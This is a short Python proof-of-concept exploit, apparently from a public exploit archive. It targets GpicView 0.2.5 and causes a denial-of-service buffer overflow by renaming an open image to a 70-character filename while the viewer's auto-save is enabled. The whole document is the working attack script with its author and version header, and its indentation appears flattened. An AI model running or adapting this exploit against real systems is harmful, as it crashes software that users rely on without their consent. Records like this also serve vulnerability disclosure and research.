GpicView 0.2.5 Buffer Overflow

`#!/usr/bin/python  
# Exploit Title: GpicView Buffer Overflow DOS  
# Date: 25th February 2016  
# Exploit Author: David Silveiro (Xino.co.uk)  
# Vendor Homepage: lxde.sourceforge.net/gpicview/  
# Software Link: https://sourceforge.net/projects/lxde/files/GPicView%20%28image%20Viewer%29/0.2.x/  
# Version: 0.2.5  
# Tested on: Ubuntu 14 LTS  
# CVE : 0 day  
  
#Example: python POC.py [image-file]  
  
from sys import argv  
from subprocess import Popen  
from shlex import split  
from time import sleep  
import shutil  
  
def DOS(arg):  
#"""------------------------------------"""#  
command = 'gpicview ' + arg[1] #''' Recieve file & construct Popen '''#  
command_2 = split(command) #"""------------------------------------"""#  
#"|" "|"#  
Popen(command_2) #""" Open file with Gpicview """#  
#"""------------------------------------"""#  
print("Required: You have 15 seconds")  
print("to click on preferences, and ")   
print("check 'Auto Save Images' ")   
  
sleep(15)   
#"""------------------------------------"""#  
buffer = 'A' * 70 + '.png' #"|" Rename image with Buffer "|"#  
shutil.move(arg[1], buffer) #"""------------------------------------"""#  
  
def main():  
  
print("Author: David Silveiro ")  
print("Company: Xino.co.uk ")  
print(" POC Gpicview DOS ")  
  
DOS(argv)  
  
print("File ready for overflow ")  
print("Now simply rotate the image")  
  
  
if __name__ == "__main__":  
main()  
  
  
`